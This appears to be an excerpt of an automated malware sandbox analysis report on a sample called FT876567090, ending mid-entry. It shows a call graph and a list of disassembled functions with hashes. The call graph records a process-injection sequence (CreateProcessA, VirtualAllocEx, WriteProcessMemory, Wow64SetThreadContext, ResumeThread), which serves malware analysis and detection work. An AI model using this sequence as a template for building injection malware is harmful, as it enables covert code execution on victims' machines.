49594 70d7659 49577->49594 49599 70d779e 49577->49599 49603 70d7d0e 49577->49603 49607 70d78ac 49577->49607 49612 70d792d 49577->49612 49617 70d7a10 49577->49617 49622 70d7916 49577->49622 49627 70d7b27 49577->49627 49631 70d7b67 49577->49631 49636 70d7964 49577->49636 49579->49570 49641 70d3f48 49590->49641 49645 70d3f40 49590->49645 49591 70d7a8f 49595 70d7697 49594->49595 49649 70d475d 49595->49649 49653 70d4768 49595->49653 49657 70d44d9 49599->49657 49661 70d44e0 49599->49661 49600 70d77c6 49600->49579 49665 70d4018 49603->49665 49669 70d4020 49603->49669 49604 70d7d2c 49608 70d78cf 49607->49608 49610 70d44d9 WriteProcessMemory 49608->49610 49611 70d44e0 WriteProcessMemory 49608->49611 49609 70d7e12 49609->49579 49610->49609 49611->49609 49613 70d7a3a 49612->49613 49614 70d791a 49612->49614 49613->49579 49615 70d44d9 WriteProcessMemory 49614->49615 49616 70d44e0 WriteProcessMemory 49614->49616 49615->49613 49616->49613 49618 70d7a1d 49617->49618 49673 70d3a58 49618->49673 49677 70d3a60 49618->49677 49619 70d775a 49619->49579 49623 70d7927 49622->49623 49625 70d44d9 WriteProcessMemory 49623->49625 49626 70d44e0 WriteProcessMemory 49623->49626 49624 70d7a3a 49624->49579 49625->49624 49626->49624 49629 70d3f48 Wow64SetThreadContext 49627->49629 49630 70d3f40 Wow64SetThreadContext 49627->49630 49628 70d775a 49628->49579 49629->49628 49630->49628 49632 70d7b6d 49631->49632 49634 70d3a58 ResumeThread 49632->49634 49635 70d3a60 ResumeThread 49632->49635 49633 70d775a 49633->49579 49634->49633 49635->49633 49637 70d796a 49636->49637 49681 70d45c8 49637->49681 49685 70d45d0 49637->49685 49638 70d7881 49638->49579 49642 70d3f8d Wow64SetThreadContext 49641->49642 49644 70d3fd5 49642->49644 49644->49591 49646 70d3f8d Wow64SetThreadContext 49645->49646 49648 70d3fd5 49646->49648 49648->49591 49650 70d4768 CreateProcessA 49649->49650 49652 70d49b3 49650->49652 49654 70d47f1 CreateProcessA 49653->49654 49656 70d49b3 49654->49656 49658 70d44e0 WriteProcessMemory 49657->49658 49660 70d457f 49658->49660 49660->49600 49662 70d4528 WriteProcessMemory 49661->49662 49664 70d457f 49662->49664 49664->49600 49666 70d4020 VirtualAllocEx 49665->49666 49668 70d409d 49666->49668 49668->49604 49670 70d4060 VirtualAllocEx 49669->49670 49672 70d409d 49670->49672 49672->49604 49674 70d3aa0 ResumeThread 49673->49674 49676 70d3ad1 49674->49676 49676->49619 49678 70d3aa0 ResumeThread 49677->49678 49680 70d3ad1 49678->49680 49680->49619 49682 70d45d1 ReadProcessMemory 49681->49682 49684 70d465f 49682->49684 49684->49638 49686 70d461b ReadProcessMemory 49685->49686 49688 70d465f 49686->49688 49688->49638 49766 5539b08 49767 5539b42 49766->49767 49768 5539bd3 49767->49768 49769 5539bbe 49767->49769 49771 55361a8 3 API calls 49768->49771 49774 55361a8 49769->49774 49773 5539be2 49771->49773 49775 55361b3 49774->49775 49776 5539bc9 49775->49776 49779 553a9b9 49775->49779 49786 553a9c8 49775->49786 49780 553a9c6 49779->49780 49792 5539c10 49780->49792 49783 553a9ef 49783->49776 49784 553aa15 CreateIconFromResourceEx 49785 553aa96 49784->49785 49785->49776 49787 5539c10 CreateIconFromResourceEx 49786->49787 49788 553a9e2 49787->49788 49789 553a9ef 49788->49789 49790 553aa15 CreateIconFromResourceEx 49788->49790 49789->49776 49791 553aa96 49790->49791 49791->49776 49793 553aa18 CreateIconFromResourceEx 49792->49793 49794 553a9e2 49793->49794 49794->49783 49794->49784 49689 4e44668 49690 4e4467a 49689->49690 49691 4e44686 49690->49691 49695 4e44779 49690->49695 49700 4e43e28 49691->49700 49693 4e446a5 49696 4e4479d 49695->49696 49704 4e44888 49696->49704 49708 4e44878 49696->49708 49701 4e43e33 49700->49701 49716 4e45c68 49701->49716 49703 4e46ff6 49703->49693 49705 4e448af 49704->49705 49706 4e4498c 49705->49706 49712 4e444b0 49705->49712 49709 4e448af 49708->49709 49710 4e444b0 CreateActCtxA 49709->49710 49711 4e4498c 49709->49711 49710->49711 49713 4e45918 CreateActCtxA 49712->49713 49715 4e459db 49713->49715 49717 4e45c73 49716->49717 49720 4e45c88 49717->49720 49719 4e47195 49719->49703 49721 4e45c93 49720->49721 49724 4e45cb8 49721->49724 49723 4e4727a 49723->49719 49725 4e45cc3 49724->49725 49728 4e45ce8 49725->49728 49727 4e4736d 49727->49723 49730 4e45cf3 49728->49730 49729 4e486a9 49729->49727 49730->49729 49733 4e4ce10 49730->49733 49738 4e4ce0f 49730->49738 49734 4e4ce31 49733->49734 49735 4e4ce55 49734->49735 49743 4e4cfc0 49734->49743 49747 4e4cfbf 49734->49747 49735->49729 49739 4e4ce31 49738->49739 49740 4e4ce55 49739->49740 49741 4e4cfc0 2 API calls 49739->49741 49742 4e4cfbf 2 API calls 49739->49742 49740->49729 49741->49740 49742->49740 49744 4e4cfcd 49743->49744 49745 4e4d007 49744->49745 49751 4e4b820 49744->49751 49745->49735 49748 4e4cfcd 49747->49748 49749 4e4d007 49748->49749 49750 4e4b820 2 API calls 49748->49750 49749->49735 49750->49749 49752 4e4b82b 49751->49752 49754 4e4dd18 49752->49754 49755 4e4d124 49752->49755 49754->49754 49756 4e4d12f 49755->49756 49757 4e45ce8 2 API calls 49756->49757 49758 4e4dd87 49757->49758 49761 4e4fb08 49758->49761 49759 4e4ddc1 49759->49754 49762 4e4fb45 49761->49762 49763 4e4fb39 49761->49763 49762->49759 49763->49762 49764 4f709b2 CreateWindowExW CreateWindowExW 49763->49764 49765 4f709c0 CreateWindowExW CreateWindowExW 49763->49765 49764->49762 49765->49762 49902 4e4d4d8 49903 4e4d51e 49902->49903 49907 4e4d6a8 49903->49907 49910 4e4d6b8 49903->49910 49904 4e4d60b 49913 4e4b830 49907->49913 49911 4e4d6e6 49910->49911 49912 4e4b830 DuplicateHandle 49910->49912 49911->49904 49912->49911 49914 4e4d720 DuplicateHandle 49913->49914 49915 4e4d6e6 49914->49915 49915->49904

                                                                                                                                                              Executed Functions

                                                                                                                                                              Function 070E2C96 Relevance: 4.1, Strings: 3, Instructions: 323COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 0 70e2c96-70e2ca0 1 70e2cc4-70e2ccc 0->1 2 70e2ca2-70e2cab 0->2 3 70e2cce-70e2cd8 1->3 4 70e2cef-70e2cf1 1->4 2->1 5 70e2cd9-70e2cee 3->5 4->5 6 70e2cf2-70e2d1d 4->6 5->4 7 70e2d1f 6->7 8 70e2d24-70e2d62 call 70e32a0 6->8 7->8 10 70e2d68 8->10 11 70e2d6f-70e2d8b 10->11 12 70e2d8d 11->12 13 70e2d94-70e2d95 11->13 12->10 14 70e2eef-70e2f01 12->14 15 70e30cf-70e30e6 12->15 16 70e2f8d-70e2f91 12->16 17 70e2fed-70e2ff9 12->17 18 70e2eca-70e2eea 12->18 19 70e30eb-70e30f2 12->19 20 70e2f2b-70e2f42 12->20 21 70e2f06-70e2f26 12->21 22 70e2e66-70e2e78 12->22 23 70e2f47-70e2f5c 12->23 24 70e2dc7-70e2dd9 12->24 25 70e30a5-70e30b1 12->25 26 70e2ea0-70e2eac 12->26 27 70e2f61-70e2f6e 12->27 28 70e2fbd-70e2fc1 12->28 29 70e2e7d-70e2e9b 12->29 30 70e2d9a-70e2d9e 12->30 31 70e2ddb-70e2de4 12->31 32 70e307b-70e30a0 12->32 33 70e2f73-70e2f88 12->33 34 70e2e10-70e2e28 12->34 13->19 13->30 14->11 15->11 45 70e2fa4-70e2fab 16->45 46 70e2f93-70e2fa2 16->46 35 70e2ffb 17->35 36 70e3000-70e3016 17->36 18->11 20->11 21->11 22->11 23->11 24->11 43 70e30b8-70e30ca 25->43 44 70e30b3 25->44 37 70e2eae 26->37 38 70e2eb3-70e2ec5 26->38 27->11 49 70e2fd4-70e2fdb 28->49 50 70e2fc3-70e2fd2 28->50 29->11 39 70e2da0-70e2daf 30->39 40 70e2db1-70e2db8 30->40 41 70e2de6-70e2df5 31->41 42 70e2df7-70e2dfe 31->42 32->11 33->11 47 70e2e2f 34->47 48 70e2e2a 34->48 35->36 65 70e301d-70e3033 36->65 66 70e3018 36->66 37->38 38->11 55 70e2dbf-70e2dc5 39->55 40->55 57 70e2e05-70e2e0b 41->57 42->57 43->11 44->43 58 70e2fb2-70e2fb8 45->58 46->58 62 70e2e39-70e2e45 47->62 48->47 51 70e2fe2-70e2fe8 49->51 50->51 51->11 55->11 57->11 58->11 63 70e2e4c-70e2e61 62->63 64 70e2e47 62->64 63->11 64->63 69 70e303a-70e3050 65->69 70 70e3035 65->70 66->65 72 70e3057-70e3076 69->72 73 70e3052 69->73 70->69 72->11 73->72
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: ry$ry$ry
                                                                                                                                                              • API String ID: 0-128149707
                                                                                                                                                              • Opcode ID: 69400e11b475c1eb29520ac43776cd2b0d6bed199899f200286137ded97dade1
                                                                                                                                                              • Instruction ID: 1131b636097149248fa626e517ba580f9cc5469902fdc963e7465d88e6c3e6a2
                                                                                                                                                              • Opcode Fuzzy Hash: 69400e11b475c1eb29520ac43776cd2b0d6bed199899f200286137ded97dade1
                                                                                                                                                              • Instruction Fuzzy Hash: 08D17DB5D0461ADFCB14CFA5C4858EEFBBAFF89301B118656D412AB314D7349A82CF90
                                                                                                                                                              Function 070E2CAD Relevance: 4.1, Strings: 3, Instructions: 320COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 76 70e2cad-70e2ccc 78 70e2cce-70e2cd8 76->78 79 70e2cef-70e2cf1 76->79 80 70e2cd9-70e2cee 78->80 79->80 81 70e2cf2-70e2d1d 79->81 80->79 82 70e2d1f 81->82 83 70e2d24-70e2d62 call 70e32a0 81->83 82->83 85 70e2d68 83->85 86 70e2d6f-70e2d8b 85->86 87 70e2d8d 86->87 88 70e2d94-70e2d95 86->88 87->85 89 70e2eef-70e2f01 87->89 90 70e30cf-70e30e6 87->90 91 70e2f8d-70e2f91 87->91 92 70e2fed-70e2ff9 87->92 93 70e2eca-70e2eea 87->93 94 70e30eb-70e30f2 87->94 95 70e2f2b-70e2f42 87->95 96 70e2f06-70e2f26 87->96 97 70e2e66-70e2e78 87->97 98 70e2f47-70e2f5c 87->98 99 70e2dc7-70e2dd9 87->99 100 70e30a5-70e30b1 87->100 101 70e2ea0-70e2eac 87->101 102 70e2f61-70e2f6e 87->102 103 70e2fbd-70e2fc1 87->103 104 70e2e7d-70e2e9b 87->104 105 70e2d9a-70e2d9e 87->105 106 70e2ddb-70e2de4 87->106 107 70e307b-70e30a0 87->107 108 70e2f73-70e2f88 87->108 109 70e2e10-70e2e28 87->109 88->94 88->105 89->86 90->86 120 70e2fa4-70e2fab 91->120 121 70e2f93-70e2fa2 91->121 110 70e2ffb 92->110 111 70e3000-70e3016 92->111 93->86 95->86 96->86 97->86 98->86 99->86 118 70e30b8-70e30ca 100->118 119 70e30b3 100->119 112 70e2eae 101->112 113 70e2eb3-70e2ec5 101->113 102->86 124 70e2fd4-70e2fdb 103->124 125 70e2fc3-70e2fd2 103->125 104->86 114 70e2da0-70e2daf 105->114 115 70e2db1-70e2db8 105->115 116 70e2de6-70e2df5 106->116 117 70e2df7-70e2dfe 106->117 107->86 108->86 122 70e2e2f 109->122 123 70e2e2a 109->123 110->111 140 70e301d-70e3033 111->140 141 70e3018 111->141 112->113 113->86 130 70e2dbf-70e2dc5 114->130 115->130 132 70e2e05-70e2e0b 116->132 117->132 118->86 119->118 133 70e2fb2-70e2fb8 120->133 121->133 137 70e2e39-70e2e45 122->137 123->122 126 70e2fe2-70e2fe8 124->126 125->126 126->86 130->86 132->86 133->86 138 70e2e4c-70e2e61 137->138 139 70e2e47 137->139 138->86 139->138 144 70e303a-70e3050 140->144 145 70e3035 140->145 141->140 147 70e3057-70e3076 144->147 148 70e3052 144->148 145->144 147->86 148->147
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: ry$ry$ry
                                                                                                                                                              • API String ID: 0-128149707
                                                                                                                                                              • Opcode ID: 6daa767ef2ae4daffa6ec656967b253a84fe9b2cd58b9a686da05b27c378b2cd
                                                                                                                                                              • Instruction ID: 6363c40652584e7e548726a6617360684703dbc3ebb53fde38213269cdb02b2d
                                                                                                                                                              • Opcode Fuzzy Hash: 6daa767ef2ae4daffa6ec656967b253a84fe9b2cd58b9a686da05b27c378b2cd
                                                                                                                                                              • Instruction Fuzzy Hash: 05D15CB5D1461ADFCB14CFA5C4858EEFBBAFF89300B158656D412AB318D7349A82CF90
                                                                                                                                                              Function 070E2CF8 Relevance: 4.0, Strings: 3, Instructions: 284COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 151 70e2cf8-70e2d1d 152 70e2d1f 151->152 153 70e2d24-70e2d62 call 70e32a0 151->153 152->153 155 70e2d68 153->155 156 70e2d6f-70e2d8b 155->156 157 70e2d8d 156->157 158 70e2d94-70e2d95 156->158 157->155 159 70e2eef-70e2f01 157->159 160 70e30cf-70e30e6 157->160 161 70e2f8d-70e2f91 157->161 162 70e2fed-70e2ff9 157->162 163 70e2eca-70e2eea 157->163 164 70e30eb-70e30f2 157->164 165 70e2f2b-70e2f42 157->165 166 70e2f06-70e2f26 157->166 167 70e2e66-70e2e78 157->167 168 70e2f47-70e2f5c 157->168 169 70e2dc7-70e2dd9 157->169 170 70e30a5-70e30b1 157->170 171 70e2ea0-70e2eac 157->171 172 70e2f61-70e2f6e 157->172 173 70e2fbd-70e2fc1 157->173 174 70e2e7d-70e2e9b 157->174 175 70e2d9a-70e2d9e 157->175 176 70e2ddb-70e2de4 157->176 177 70e307b-70e30a0 157->177 178 70e2f73-70e2f88 157->178 179 70e2e10-70e2e28 157->179 158->164 158->175 159->156 160->156 190 70e2fa4-70e2fab 161->190 191 70e2f93-70e2fa2 161->191 180 70e2ffb 162->180 181 70e3000-70e3016 162->181 163->156 165->156 166->156 167->156 168->156 169->156 188 70e30b8-70e30ca 170->188 189 70e30b3 170->189 182 70e2eae 171->182 183 70e2eb3-70e2ec5 171->183 172->156 194 70e2fd4-70e2fdb 173->194 195 70e2fc3-70e2fd2 173->195 174->156 184 70e2da0-70e2daf 175->184 185 70e2db1-70e2db8 175->185 186 70e2de6-70e2df5 176->186 187 70e2df7-70e2dfe 176->187 177->156 178->156 192 70e2e2f 179->192 193 70e2e2a 179->193 180->181 210 70e301d-70e3033 181->210 211 70e3018 181->211 182->183 183->156 200 70e2dbf-70e2dc5 184->200 185->200 202 70e2e05-70e2e0b 186->202 187->202 188->156 189->188 203 70e2fb2-70e2fb8 190->203 191->203 207 70e2e39-70e2e45 192->207 193->192 196 70e2fe2-70e2fe8 194->196 195->196 196->156 200->156 202->156 203->156 208 70e2e4c-70e2e61 207->208 209 70e2e47 207->209 208->156 209->208 214 70e303a-70e3050 210->214 215 70e3035 210->215 211->210 217 70e3057-70e3076 214->217 218 70e3052 214->218 215->214 217->156 218->217
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: ry$ry$ry
                                                                                                                                                              • API String ID: 0-128149707
                                                                                                                                                              • Opcode ID: f42098f63610ce74f1ddb138d224eff4bcc1087abdff6a964b4e62063204d7eb
                                                                                                                                                              • Instruction ID: 2e9286fd68bd3f2bb61f98bb11ec2eb65279ab7995fdac63296719ddcaf03d57
                                                                                                                                                              • Opcode Fuzzy Hash: f42098f63610ce74f1ddb138d224eff4bcc1087abdff6a964b4e62063204d7eb
                                                                                                                                                              • Instruction Fuzzy Hash: 74C169B0E1461ADFCB14CFA5C4858AEFBBAFF89300F118655D516AB318D734AA42CF94
                                                                                                                                                              Function 070E96C8 Relevance: 2.7, Strings: 2, Instructions: 224COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 221 70e96c8-70e96ed 222 70e96ef 221->222 223 70e96f4-70e9725 221->223 222->223 224 70e9726 223->224 225 70e972d-70e9749 224->225 226 70e974b 225->226 227 70e9752-70e9753 225->227 226->224 226->227 228 70e98ab-70e98c0 226->228 229 70e9828-70e983f 226->229 230 70e9989-70e99a0 226->230 231 70e9844-70e9857 226->231 232 70e98c5-70e98ce 226->232 233 70e99a5-70e99ba 226->233 234 70e97e0-70e97f2 226->234 235 70e993e-70e9956 226->235 236 70e99bf-70e99c8 226->236 237 70e98ff-70e9912 226->237 238 70e985c-70e9860 226->238 239 70e979c-70e97af 226->239 240 70e995b-70e996d 226->240 241 70e9758-70e979a 226->241 242 70e97f7-70e97fa 226->242 243 70e97b4-70e97db 226->243 244 70e9972-70e9984 226->244 245 70e98d3-70e98fa 226->245 246 70e9893-70e98a6 226->246 227->236 228->225 229->225 230->225 231->225 232->225 233->225 234->225 235->225 249 70e9914-70e9923 237->249 250 70e9925-70e992c 237->250 247 70e9862-70e9871 238->247 248 70e9873-70e987a 238->248 239->225 240->225 241->225 252 70e9803-70e9823 242->252 243->225 244->225 245->225 246->225 253 70e9881-70e988e 247->253 248->253 251 70e9933-70e9939 249->251 250->251 251->225 252->225 253->225
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: TuA$UC;"
                                                                                                                                                              • API String ID: 0-2071649361
                                                                                                                                                              • Opcode ID: d7be095c875872db7f088f51d3845b9c6c5e47244fb13d320e4755ccac32c098
                                                                                                                                                              • Instruction ID: 17fd51063f05267d447dc6a81a45fe48f0883b624ee149cc1b0704d18bcf70bc
                                                                                                                                                              • Opcode Fuzzy Hash: d7be095c875872db7f088f51d3845b9c6c5e47244fb13d320e4755ccac32c098
                                                                                                                                                              • Instruction Fuzzy Hash: 649139B4D24209EFCB08CFE6E58059EFBF6EF89350F10A52AE525A7264D730A945CF41
                                                                                                                                                              Function 070E96C6 Relevance: 2.7, Strings: 2, Instructions: 216COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 258 70e96c6-70e96ed 259 70e96ef 258->259 260 70e96f4-70e9725 258->260 259->260 261 70e9726 260->261 262 70e972d-70e9749 261->262 263 70e974b 262->263 264 70e9752-70e9753 262->264 263->261 263->264 265 70e98ab-70e98c0 263->265 266 70e9828-70e983f 263->266 267 70e9989-70e99a0 263->267 268 70e9844-70e9857 263->268 269 70e98c5-70e98ce 263->269 270 70e99a5-70e99ba 263->270 271 70e97e0-70e97f2 263->271 272 70e993e-70e9956 263->272 273 70e99bf-70e99c8 263->273 274 70e98ff-70e9912 263->274 275 70e985c-70e9860 263->275 276 70e979c-70e97af 263->276 277 70e995b-70e996d 263->277 278 70e9758-70e979a 263->278 279 70e97f7-70e97fa 263->279 280 70e97b4-70e97db 263->280 281 70e9972-70e9984 263->281 282 70e98d3-70e98fa 263->282 283 70e9893-70e98a6 263->283 264->273 265->262 266->262 267->262 268->262 269->262 270->262 271->262 272->262 286 70e9914-70e9923 274->286 287 70e9925-70e992c 274->287 284 70e9862-70e9871 275->284 285 70e9873-70e987a 275->285 276->262 277->262 278->262 289 70e9803-70e9823 279->289 280->262 281->262 282->262 283->262 290 70e9881-70e988e 284->290 285->290 288 70e9933-70e9939 286->288 287->288 288->262 289->262 290->262
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: TuA$UC;"
                                                                                                                                                              • API String ID: 0-2071649361
                                                                                                                                                              • Opcode ID: 4a7a14e6d1c62dea096e0fd89487e87fe9a0460fa45868418d5b6fcefe0d88b9
                                                                                                                                                              • Instruction ID: 0552b88452a46f6db6c0184c242cedf67f14445e4c227a73b4114a17400b189a
                                                                                                                                                              • Opcode Fuzzy Hash: 4a7a14e6d1c62dea096e0fd89487e87fe9a0460fa45868418d5b6fcefe0d88b9
                                                                                                                                                              • Instruction Fuzzy Hash: 619147B4D24209EFCB08CFA6E58059EFBF6EF89350F10A52AE525A7264D730A945CF41
                                                                                                                                                              Function 070E0B3D Relevance: 1.5, Strings: 1, Instructions: 258COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: z^I
                                                                                                                                                              • API String ID: 0-307258731
                                                                                                                                                              • Opcode ID: 5048da9114d7608332a975f581273c329abc1cdf55e56e29052361b35a299d9f
                                                                                                                                                              • Instruction ID: 74b7029d6d9d6584a97e08d4ae6644dac72016937d4022ede0b61efd2d841602
                                                                                                                                                              • Opcode Fuzzy Hash: 5048da9114d7608332a975f581273c329abc1cdf55e56e29052361b35a299d9f
                                                                                                                                                              • Instruction Fuzzy Hash: EAA125B5E142198FDB08CFA9C8406DDFBF2FF89310F24852AD415AB259D7749981CF64
                                                                                                                                                              Function 070E0B76 Relevance: 1.5, Strings: 1, Instructions: 231COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: z^I
                                                                                                                                                              • API String ID: 0-307258731
                                                                                                                                                              • Opcode ID: 332fb36b128a5d1217103b4ed3046f417acf40a0ffdb11f6dff57ea80153ee76
                                                                                                                                                              • Instruction ID: 0458a6258ec5d563d9b2eb0c587a07b20b0eeb47a85e38710ad5b1741b560e6f
                                                                                                                                                              • Opcode Fuzzy Hash: 332fb36b128a5d1217103b4ed3046f417acf40a0ffdb11f6dff57ea80153ee76
                                                                                                                                                              • Instruction Fuzzy Hash: C7A1F4B4E112198FCB04CFAAC984ADDFBB6FF89300F24912AD415BB259D7349945CF64
                                                                                                                                                              Function 070E0B90 Relevance: 1.5, Strings: 1, Instructions: 219COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: z^I
                                                                                                                                                              • API String ID: 0-307258731
                                                                                                                                                              • Opcode ID: 3e1fad00229814456b26e884c7d31682b1dede36bf3a04e2666570b6b6194cb7
                                                                                                                                                              • Instruction ID: 86521bd8c13e8ef216438fecad1a4b4626a056f93fe445e0261a5fdda6bb58ee
                                                                                                                                                              • Opcode Fuzzy Hash: 3e1fad00229814456b26e884c7d31682b1dede36bf3a04e2666570b6b6194cb7
                                                                                                                                                              • Instruction Fuzzy Hash: AD91E3B4E112198FCB08CFAAC5846DEFBB6FF89300F24952AD415BB258D7749941CF64
                                                                                                                                                              Function 070E8090 Relevance: 1.4, Strings: 1, Instructions: 180COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: 5=6
                                                                                                                                                              • API String ID: 0-2897083178
                                                                                                                                                              • Opcode ID: ec4f4bcb962ba940c38bfc33548037cb969cca79fe7ab9beb841d0bc2f29891f
                                                                                                                                                              • Instruction ID: 4c73fc58b0bc1fedec368f21141848c17e388b2495b75841a6ff2379f4c343df
                                                                                                                                                              • Opcode Fuzzy Hash: ec4f4bcb962ba940c38bfc33548037cb969cca79fe7ab9beb841d0bc2f29891f
                                                                                                                                                              • Instruction Fuzzy Hash: 01715C74E2520AAFCB44CFA5D9454AEFBF2FF89200F10E96AD126E7294D7349A41CF50
                                                                                                                                                              Function 070E80A0 Relevance: 1.4, Strings: 1, Instructions: 176COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Strings
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID: 5=6
                                                                                                                                                              • API String ID: 0-2897083178
                                                                                                                                                              • Opcode ID: 75d5fcd12e9443d1bcf694ec80ae7409f4d3936cf451ab6850a1ad516869073a
                                                                                                                                                              • Instruction ID: aeae737e3f7e4cb0000501bb00f89081f4d286475991fef914b2b690c3c2ab35
                                                                                                                                                              • Opcode Fuzzy Hash: 75d5fcd12e9443d1bcf694ec80ae7409f4d3936cf451ab6850a1ad516869073a
                                                                                                                                                              • Instruction Fuzzy Hash: EE614A74E2520AAFCB44CFA5D9454AEFBF6FF89200F00E96AD126E7294D7349A41CF50
                                                                                                                                                              Function 04F76DC0 Relevance: .8, Instructions: 839COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2185657409.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4f70000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 451053858994c4d706b32685f1466da26fb13e06b63cf3e20a6c2efc289e48d1
                                                                                                                                                              • Instruction ID: 8cd786e60a86ff87b9acd8c8d46f680b2738207d7edd2338f002698e56a4b6b4
                                                                                                                                                              • Opcode Fuzzy Hash: 451053858994c4d706b32685f1466da26fb13e06b63cf3e20a6c2efc289e48d1
                                                                                                                                                              • Instruction Fuzzy Hash: 2892E434A00659CFEB14DF64C894AD9B7B1FF89305F1186EAD409AB360DB31AE86CF50
                                                                                                                                                              Function 04F76DB2 Relevance: .8, Instructions: 837COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2185657409.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4f70000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
